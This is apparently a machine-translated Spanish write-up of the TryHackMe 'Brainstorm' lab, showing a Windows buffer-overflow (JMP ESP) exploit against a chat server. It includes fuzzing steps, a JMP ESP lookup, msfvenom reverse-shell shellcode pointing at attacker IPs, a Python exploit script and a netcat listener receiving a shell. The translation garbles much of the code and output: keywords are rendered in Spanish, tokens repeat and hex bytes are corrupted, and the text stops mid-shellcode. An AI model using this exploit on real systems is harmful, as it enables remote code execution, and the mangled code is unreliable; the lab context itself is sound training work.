[Tryhackme] ¡Intenté infiltrar una máquina de Windows con un ataque RET2ESP (desbordamiento del búfer)! Escritura de lluvia de ideas

┌── (Hacklab㉿hackLab)-[~] └─ $ NMAP -PN -SV 10.10.15.108 Inicio de NMAP 7.92 (https://nmap.org) en 2023-06-28 21:17 Informe de escaneo NMAP JST para 10.10.15.108 El host (0.25S Latency). No se muestra: 997 Puertos TCP filtrados (sin respuesta) Servicio Estatal de Puerto Versión 21/TCP Open FTP Microsoft FTPD 3389/TCP Open SSL/MS-WBT-Merver? 9999/TCP abierro abismo? 1 Servicio de datos de devolución de destino no reconocidos. Si conoce el servicio/versión, envíe la siguiente huella digital en https://nmap.org/cgi-bin/submit.cgi?new-service: sf-port9999-tcp: v = 7.92%i = 7%d = 6/28%tiempo = 649c24db%p = x86_64-pc---linux) Sf: LL, 52, "Bienvenido \ x20to \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ nlease \ x20Ender sf: \ x20your \ x20username \ x20 \ (max \ x2020 \ x20characters \): \ x20")%r (getRequest Sf :, 63, "Bienvenido \ x20to \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ nlease \ x20Enter \ x sf: 20Your \ x20username \ x20 \ (max \ x2020 \ x20Characters \): \ x20write \ x20a \ x20mes SF: SAGE: \ x20 ")%R (httPoptions, 63," Bienvenido \ x20to \ x20BrainStorm \ x20chat \ x20 \ (sf: beta \) \ nlease \ x20Enter \ x20your \ x20USNAME \ x20 \ (max \ x2020 \ x20Characteracter Sf: S \): \ x20Write \ x20a \ x20Message: \ x20 ")%R (FouroHfourRequest, 63," Bienvenido \ x2 Sf: 0to \ x20BrainStorm \ x20chat \ x20 \ (beta \) \ nPLEASE \ X20Enter \ x20yur \ x20userner SF: AME \ X20 \ (MAX \ X2020 \ X20CHARACTERS \): \ X20WRITE \ x20A \ x20Message: \ x20 ")%R (J Sf: Avarmi, 63," Bienvenido \ x20TO \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ nPlease \ x20E Sf: nter \ x20Your \ x20Username \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ sf: x20message: \ x20 ")%r (geniclines, 63," Bienvenido \ x20to \ x20Brainstorm \ x20CHA Sf: T \ x20 \ (beta \) \ nlease \ x20enter \ x20your \ x20username \ x20 \ (max \ x2020 \ x20ch sf: aracters \): \ x20write \ x20a \ x20message: \ x20 ")%r (rtsprequest, 63," bienvenido \ x Sf: 20to \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ nlease \ x20Enterer \ x20your \ x20user sf: nombre \ x20 \ (max \ x2020 \ x20Characters \): \ x20write \ x20a \ x20message: \ x20 ")%r (( SF: RPCCHECK, 63, "Bienvenido \ x20to \ x20Brainstorm \ x20Chat \ x20 \ (beta \) \ nlease \ x2 sf: 0Enter \ x20Your \ x20usEname \ x20 \ (max \ x2020 \ x20Characters \): \ x20write \ x20 Sf: A \ x20Message: \ x20 ")%R (dnsversionBindreqtcp, 63," Bienvenido \ x20to \ x20Brainst sf: orm \ x20chat \ x20 \ (beta \) \ nlease \ x20Enter \ x20your \ x20useName \ x20 \ (max \ x SF: 2020 \ x20Characters \): \ x20Write \ x20a \ x20Message: \ x20 ")%r (dnsstatusReques sf: ttcp, 63," Bienvenido \ x20To \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ npLEASE \ x20ent SF: ER \ x20Your \ x20USERNAME \ X20 \ (MAX \ X2020 \ X20CHARACTERS \): \ x20WRITE \ x20A \ X2 SF: 0Message: \ x20 ")%R (Ayuda, 63," Bienvenido \ x20To \ x20BrainStorm \ x20Chat \ x20 \ (Bet Bet Bet (Bet Bet Bet Sf: a \) \ nlease \ x20ent \ x20your \ x20username \ x20 \ (max \ x2020 \ x20Characters \) sf :: \ x20write \ x20a \ x20message: \ x20 ")%r (sslSessionReq, 63," Bienvenido \ x20to \ x20 Sf: Brainstorm \ x20chat \ x20 \ (beta \) \ nlease \ x20Enter \ x20your \ x20username \ x20sf: \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x20message: \ x20 ")%r (terminal terminal SF: ServerCookie, 63, "Bienvenido \ x20to \ x20Brainstorm \ x20chat \ x20 \ (beta \) \ nlease sf: e \ x20enter \ x20your \ x20username \ x20 \ (max \ x2020 \ x20Characters \): \ x20write sf: \ x20a \ x20Message: \ x20"); Información del servicio: OS: Windows; CPE: CPE:/O: Microsoft: Detección de servicios de Windows realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 181.68 segundos

┌── (Hacklab㉿hackLab)-[~] └─ $ ftp 10.10.15.108 conectado a 10.10.15.108. 220 Nombre del servicio Microsoft FTP (10.10.15.108:hackLab): Anónimo 331 Acceso anónimo permitido, envíe identidad (nombre de correo electrónico) como contraseña. Contraseña: 230 El usuario inició sesión. El tipo de sistema remoto es Windows_NT. FTP> 

┌── (Hacklab㉿hackLab)-[~] └─ $ ftp 10.10.15.108 conectado a 10.10.15.108. 220 Nombre del servicio Microsoft FTP (10.10.15.108:hackLab): Anónimo 331 Acceso anónimo permitido, envíe identidad (nombre de correo electrónico) como contraseña. Contraseña: 230 El usuario inició sesión. El tipo de sistema remoto es Windows_NT. FTP> DIR 229 Entrando el modo pasivo extendido (||| 49301 |) ^c Recibe abortado. Esperando que el control remoto finalice.

FTP> Modo pasivo pasivo: apagado; Fuera al modo activo: APAGADO. FTP> DIR 200 EPRT Comando exitoso. 150 Abra la conexión de datos del modo ASCII. 425 no puede abrir la conexión de datos. FTP> Bin 200 Tipo establecido en I. FTP> DIR 200 EPRT Comando exitoso. 125 Conexión de datos ya abierta; Transferencia de inicio. 08-29-19 08:36 PM<DIR> Chatserver 226 Transferencia completa.

FTP> CD Chatserver 250 CWD Comando exitoso. FTP> DIR 200 EPRT Comando exitoso. 125 Conexión de datos ya abierta; Transferencia de inicio. 08-29-19 10:26 PM 43747 chatserver.exe 08-29-19 10:27 PM 30761 Essfunc.dll 226 Transferencia completa.

FTP> Obtener chatserver.exe local: chatserver.exe remoto: chatserver.exe 200 EPRT comando exitoso. 125 Conexión de datos ya abierta; Transferencia de inicio. 100% |************************************************************************************************************************************************************************************************************************************ ************************************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************************************** Comando EPRT exitoso. 125 Conexión de datos ya abierta; Transferencia de inicio. 100% | ****************************************************************************************************************************************************************************************A. ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para ********************************************************************************************************************************************************************************A para

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NV 10.10.15.108 9999 (desconocido) [10.10.15.108] 9999 (?) Abierto de bienvenida a la lluvia de ideas (beta) Por favor, ingrese su nombre de usuario (Max 20 caracteres): Hacklab Escribir un mensaje: Hacking el miércoles 28 05:45:02 2023 Hacklab:  

PS C: \ Users \ Hackl \ share \ Brainstorm>. \ Chatserver.exe ¡El servidor de chat comenzó! Llamado FUNCIÓN ESENCIAL DLL Versión 1.00 Esperando conexiones. Recibió una conexión del cliente de 127.0.0.1:59586 Cliente 127.0.0.1:59586 Nombre de usuario seleccionado: Hacklab Client 127.0.0.1:59586 Conexión cerrada.

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NV 192.168.0.126 9999 (desconocido) [192.168.0.126] 9999 (?) Abrir bienvenida a Brainebrax Chat (beta) Por favor ingrese su UserName (Máx 20 caracteres): Hacklab Escribir un mensaje: Hacking Wed 28 22:20:5222. Un mensaje:  

PS C: \ Users \ Hackl \ share \ Brainstorm>. \ Chatserver.exe ¡El servidor de chat comenzó! Llamado FUNCIÓN ESENCIAL DLL Versión 1.00 Esperando conexiones.

┌── (Hacklab㉿hacklab) -[~] └─ $ NC -NV 192.168.0.126 9999 1 ⨯ (desconocido) [192.168.0.126] 9999 () Open Bienvenido a la chat de las tormentas de cerebro (beta) Por favor, ingrese su nombre de usuario (Max 20 caracteres)::: Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Escriba un mensaje: Prueba mié 28 de junio 23:10:36 2023 AAAAAAA Said: Test

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NV 192.168.0.126 9999 (desconocido) [192.168.0.126] 9999 (?) Open Bienvenido al chat de Brainstorm (beta) por favor ingrese su nombre de usuario (Máx 20 caracteres): Pruebe un mensaje:

┌── (HackLab㉿hackLab)-[~/Tryhackme/Brainstorm] └─ $ MSF-Pattern_Create -L 2500

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NV 192.168.0.126 9999 1 ⨯ (desconocido) [192.168.0.126] 9999 (?) Open Bienvenido a la chat de las tostador

┌── (Hacklab㉿hackLab) -[~/Tryhackme/Brainstorm] └─ $ msf -Pattern_offset -l 2500 -q 31704330 [*] EXACTA MARGA EN

#!/usr/bin/Python Import Socket, Sys Dirección = '192.168.0.126' Port = 9999 user = 'test' Message = ('A' * 2012) eip = ('b' * 4) Message += eip # Message += Nop # Message += BUF intent: imprime ('[ +] enviando a Socket.socket.socket (Soce.Af_af_af_af_afs, Socket.sock_stream) s.connect ((dirección, puerto)) s.recv (1024) s.send ((usuario + '\ r \ n'). encode ("utf-8")) s.recv (1024) print ("mensaje") s.send ((mensaje + '\ r \ n'). encoder ("utf-8")) Excepto la excepción como E: e: e imprent (e) imprent (''! Aplicación. ') Sys.exit (0) Finalmente: S.Close ()

#!/usr/bin/python import socket, dirección sys = '192.168.0.126' port = 9999 user = 'test' Message = ('A' * 2012) eip = ('b' * 4) Payload = ('C' * 500) Message += EIP Message += Message # Message += Nop # Message += BUF Try: Print ('[[[[[ +] Sended Buffer') Socket.socket (Socket.af_inet, Socket.sock_stream) s.connect ((dirección, puerto)) S.recv (1024) s.send ((usuario + '\ r \ n'). Encode ("utf-8")) s.recv (1024) imprime ("mensaje") s.send ((mensaje + '\ r \ n'). encode ("utf-8") imprimir (e) imprimir ('[!] No se puede conectar a la aplicación.') sys.exit (0) Finalmente: s.close ()

! mona jmp -r esp

#!/usr/bin/Python Import Socket, Sys Dirección = '192.168.0.126' Port = 9999 user = 'test'.enCode ("utf-8") eip = b' \ xdf \ x14 \ x50 \ x62 'Message = (' a ' * 2012) .Encode ("utf-8") pago = (' c ' * * * * * * * * * * * * * 500) .Encode ("UTF-8") Mensaje += EIP Message += Payload # Message += Nop # Mensaje += BUF Try: Print ('[ +] Enviando buffer') S = Socket.socket (Socket.af_inet, Socket.sock_stream) S.Connect ((dirección, puerto)) S.Cecv (1024) S.Send (usuario + + + + '\ r \ n'.encode ("utf-8")) s.recv (1024) print ("mensaje") s.send (mensaje +' \ r \ n'.encode ("utf-8")) excepto la excepción como e: print (e) imprime ('[!] No se puede conectar a la aplicación.') Sys.exit (0) Finalmente: s.close ()

┌── (Hacklab㉿hackLab)-[~/tryhackme/breorny] └─ $ Cat test2.py #!/Usr/bin/python import socket, direcciones sys = '192.168.0.126' port = 9999 user = 'test' eip = b '\ xdf \ x14 \ x50 \ x62' Message = ((un mensaje '') "\ x01 \ x02 \ x03 \ x04 \ x05 \ x06 \ x07 \ x08 \ x09 \ x0a \ x0b \ x0c \ x0d \ x0e \ x0f \ x10" "\ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f \ x20" "\ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f \ x30" "\ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 \ x38 \ x39 \ x3a \ x3b \ x3c \ x3d \ x3e \ x3f \ x40" "\ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48 \ x49 \ x4a \ x4b \ x4c \ x4d \ x4e \ x4f \ x50" "\ x51 \ x52 \ x53 \ x54 \ x55 \ x56 \ x57 \ x58 \ x59 \ x5a \ x5b \ x5c \ x5d \ x5e \ x5f \ x60" "\ x61 \ x62 \ x63 \ x64 \ x65 \ x66 \ x67 \ x68 \ x69 \ x6a \ x6b \ x6c \ x6d \ x6e \ x6f \ x70" "\ x71 \ x72 \ x73 \ x74 \ x75 \ x76 \ x77 \ x78 \ x79 \ x7a \ x7b \ x7c \ x7d \ x7e \ x7f \ x80" "\ x81 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ x8a \ x8b \ x8c \ x8d \ x8e \ x8f \ x90" "\ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ x9a \ x9b \ x9c \ x9d \ x9e \ x9f \ xa00" "\ xa1 \ xa2 \ xa3 \ xa4 \ xa5 \ xa6 \ xa7 \ xa8 \ xa9 \ xaa \ xab \ xac \ xad \ xae \ xaf \ xb0" "\ xb1 \ xb2 \ xb3 \ xb4 \ xb5 \ xb6 \ xb7 \ xb8 \ xb9 \ xba \ xbb \ xbc \ xbd \ xbe \ xbf \ xc0" "\ xc1 \ xc2 \ xc3 \ xc4 \ xc5 \ xc6 \ xc7 \ xc8 \ xc9 \ xca \ xcb \ xcc \ xcd \ xce \ xcf \ xd0" "\ XD1 \ XD2 \ XD3 \ XD4 \ XD5 \ XD6 \ XD7 \ XD8 \ XD9 \ XDA \ XDB \ XDC \ XDD \ XDE \ XDF \ XE0" "\ xe1 \ xe2 \ xe3 \ xe4 \ xe5 \ xe6 \ xe7 \ xe8 \ xe9 \ xea \ xeb \ xec \ xed \ xee \ xef \ xef \ xf0" "\ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf7 \ xf8 \ xf9 \ xfa \ xfb \ xfc \ xfd \ xfe \ xff") Mensaje += Espt Message += badchars # mensaje += nop # mensaje += buf intente: imprime ('[ +] enviando') s = socket.socket.socket (cebo soce.afsock Socket.sock_stream) s.connect ((dirección, puerto)) s.recv (1024) s.send ((usuario + '\ r \ n'). encode ("utf-8")) s.recv (1024) print ("mensaje") s.send ((mensaje + '\ r \ n'). encoder ("utf-8")) Excepto la excepción como E: e: e imprent (e) imprent (''! Aplicación. ') Sys.exit (0) Finalmente: S.Close ()

┌── (Hacklab㉿hackLab) -[~/tryhackme/berraystorm] └─ $ msfvenom -p windows/shell_reverse_tcp lhost = 192.168.0.158 lport = 1234 ExitFunc = Thread -f Py -e -e x86/shikata_ga_nai -b "\ x00" [ -] no se seleccionó la plataforma, elaboró la plataforma, se seleccionó la plataforma, se elaboró la plataforma, elaboró la plataforma. Msf :: módulo :: plataforma :: Windows Desde la carga útil [-] Sin arco seleccionado, seleccionando Arch: x86 Desde la carga útil encontrada 1 codificadores compatibles que intentan codificar la carga útil con 1 iteraciones de x86/shikata_ga_nai x86/shikata_ga_nai logrado con tamaño 351 (itheration = 0) x86/shikata_ga_nai sizei 351 size 3 Tamaño: 351 bytes Tamaño final del archivo Py: 1712 bytes buf = b "" buf += b "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf += = b"\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x0e\x03\xfe\x1a\x8e" buf += b"\x6f\x02\xca\xcc\x90\xfa\x0b\xb1\x19\x1f\x3a\xf1\x7e" buf += b "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xdf" buf += b "\ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x71 \ xa0 \ x14 \ xc4 \ x51 \ xee \ x23 \ xc5 \ x97 \ x71 \ xa0 \ x14 \ xc4 \ x51 b "\ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ x40 \ x46 \ xf4 \ xbc \ x1d" buf += b "\ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xCa \ x33 \ xd3 \ xeD b "\ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x47 \ xad \ x5f \ x9e \ x81" buf += b "\ xff \ xa00 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ x0b" buf "BUT = = = b "\ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ x65 \ x6a \ xee \ xe3 \ xaa" buf += b "\ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xee \ x5a \ x08 \ x12 \ x51" buff "buff \ x21 uv b"\x8c\x98\x60\x76\x08\xc0\x33\x17\x09\xac\x92\x28\x49" buf += b"\x0f\x4a\x8d\x02\xa2\x9f\xbc\x49\xab\x6c\x8d\x71\x2b" buf += b"\xfb\x86\x02\x19\xa4\x3c\x8c\x11\x2d\x9b\x4b\x55\x04" buf += b"\x5b\xc3\xa8\xa7\x9c\xca\x6e\xf3\xcc\x64\x46\x7c\x87" buf += b"\x74\x67\xa9\x08\x24\xc7\x02\xe9\x94\xa7\xf2\x81\xfe" buf += b"\x27\x2c\xb1\x01\xe2\x45\x58\xf8\x65\xaa\x35\x02\xe8" buf += b "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe4 \ x72 \ x75 \ x84 \ xbf \ xea \ xec" buf += b "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5 \ xc5" bUf5 "BUT = = = xc5" BUT = = xc5 "BUF5" BUT = = xc5 "BUT = XC5) b"\xdb\x34\x7b\x90\x81\x93\x84\x0e\xad\x78\x16\xd5\x2d" buf += b"\xf6\x0b\x42\x7a\x5f\xfd\x9b\xee\x4d\xa4\x35\x0c\x8c" buf += b "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e" buf += b "\ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x71 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xb8 \ xb8 \ xd9" BUF +XB8 "XB8" BUF +XB8 "BUF / XB8" BUF +XB8 "BUF / XB8" XB8 "BUF \ xB8" BUF \ xB8 "BUF \ xB8" BUF \ XB8 ". b "\ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xf3 \ x03 \ xb7 \ xe9 \ x0c" buf += b "\ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ x01 \ xac \ x51 \ x1f \ xe0 \ x64 \ xac" buf "buff" b "\ x88 \ xbd \ xed \ x0d \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xe8 \ x2a \ x17" buf += b "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ xed \ xed \ xed

┌── (Hacklab㉿hackLab)-[~/tryhackme/breorny] └─ $ Cat test.py #!/Usr/bin/python import socket, dirección sys = '192.168.0.126' port = 9999 user = 'test'.encode ("UTF-8") BUF = B "" BUF += = = = = = = = = = b "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf += b "\ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e \ x8e" BUFC \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e "BUFC BUFC \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e. b "\ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ x19 \ x1f \ x3a \ xf1 \ x7e" buf += b "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x1 \ xDE b"\x92\x55\xa3\xee\x23\xc5\x97\x71\xa0\x14\xc4\x51\x99" buf += b"\xd6\x19\x90\xde\x0b\xd3\xc0\xb7\x40\x46\xf4\xbc\x1d" buf += b "\ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xCa \ x33 \ xd3 \ xed \ xcc" buf += b "\ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x47 \ xad \ x5f \ x9e \ x81" buff "bufin = b "\ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ x0b" buf += b "\ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ x65 \ x6a \ xee \ xe3 \ xaa" BUT = = b "\ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ x5a \ x08 \ x12 \ x51" buf += b "\ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x09 \ xac \ x92 \ x28 \ x49" BUT = = b"\x0f\x4a\x8d\x02\xa2\x9f\xbc\x49\xab\x6c\x8d\x71\x2b" buf += b"\xfb\x86\x02\x19\xa4\x3c\x8c\x11\x2d\x9b\x4b\x55\x04" buf += b "\ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ x6e \ xf3 \ xcc \ x64 \ x46 \ x7c \ x87" buf += b "\ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ x02 \ xe9 \ x94 \ xa7 \ xf2 \ x81 \ x81 b "\ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ x65 \ xaa \ x35 \ x02 \ xe8" buf += b "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe4 \ x72 \ x75 \ x84 \ xbf \ xea \ xEA b "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5" buf += b "\ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x0e \ xad \ x78 \ x16 \ xd5 \ x2 \ x2d" buf += x2D5 \ x2d "buf += x2D5 \ x2D5 \ x2D5 \ x2D5 \ x2D5 \ x2D5. b "\ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ x4d \ xa4 \ x35 \ x0c \ x8c" buf += b "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e 'bUf += x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e7 \ x3e' bUf += x3e7 \ x3e7 \ Xe7 \ x3e7 b"\xe3\x71\xb7\x68\xbd\x2f\x71\xc3\x0f\x99\x2b\xb8\xd9" buf += b"\x4d\xad\xf2\xd9\x0b\xb2\xde\xaf\xf3\x03\xb7\xe9\x0c" buf += b "\ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ x01 \ xac \ x51 \ x1f \ xe0 \ x64 \ xac" buf += b "\ x88 \ xbd \ xed \ x0d \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xe8 \ x2a \ x17" buff "BUT = = = = b "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ x04" eip = b '\ xdf \ x14 \ x50 \ x62' NOP = b '\ x90' * 20 mensaje = ('a' * 2012) .Encode ("Utf-8") += buf try: print ('[ +] enviando búfer') s = Socket.socket (Socket.af_inet, Socket.sock_stream) s.connect ((dirección, puerto)) s.recv (1024) s.send (user +'\ r \ n'.encode ("utf-8")) S.recv (1024) impresión ("mensaje") S. '\ r \ n'.enDode ("UTF-8")) excepto la excepción como e: print (e) print (' [!] No se puede conectar a la aplicación. ') sys.exit (0) Finalmente: s.close ()

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NLVP 1234 escuchando en [cualquier] 1234 ...

┌── (HackLab㉿hackLab)-[~/Tryhackme/Brainstorm] └─ $ python3 test.py [+] envío de mensajes de búfer

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NLVP 1234 escuchando en [cualquiera] 1234 ... Conéctese a [192.168.0.158] de (desconocido) [192.168.0.126] 60010 Microsoft Windows [Versión 10.0.22621.1848] (c) Microsoft Corporation. Reservados todos los derechos. C: \ Users \ **** \ **** \ Brainstorm>

┌── (Hacklab㉿hackLab) -[~/tryhackme/bernase] └─ $ msfvenom -p windows/shell_reverse_tcp lhost = 10.18.110.90 lport = 1234 exitFunc = hilo -f py -e x86/shikata_ga_nai -b " Msf :: módulo :: plataforma :: Windows Desde la carga útil [-] Sin arco seleccionado, seleccionando Arch: x86 Desde la carga útil encontrada 1 codificadores compatibles que intentan codificar la carga útil con 1 iteraciones de x86/shikata_ga_nai x86/shikata_ga_nai logrado con tamaño 351 (itheration = 0) x86/shikata_ga_nai sizei 351 size 3 Tamaño: 351 bytes Tamaño final del archivo PY: 1712 bytes buf = b "" buf += b "\ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x31" buf += = = b "\ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x03 \ x50 \ x17 \ x83 \ x89 \ x7b \ x81" buf += b "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xe9 \ x33 \ x33 \ x33" bufin b"\xa1\xcf\xd9\x30\xe7\xe3\x92\x15\x13\x77\xd6\xb1\x14" buf += b"\x30\x5d\xe4\x1b\xc1\xce\xd4\x3a\x41\x0d\x09\x9c\x78" buf += b"\xde\x5c\xdd\xbd\x03\xac\x8f\x16\x4f\x03\x3f\x12\x05" buf += b"\x98\xb4\x68\x8b\x98\x29\x38\xaa\x89\xfc\x32\xf5\x09" buf += b"\xff\x97\x8d\x03\xe7\xf4\xa8\xda\x9c\xcf\x47\xdd\x74" buf += b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += 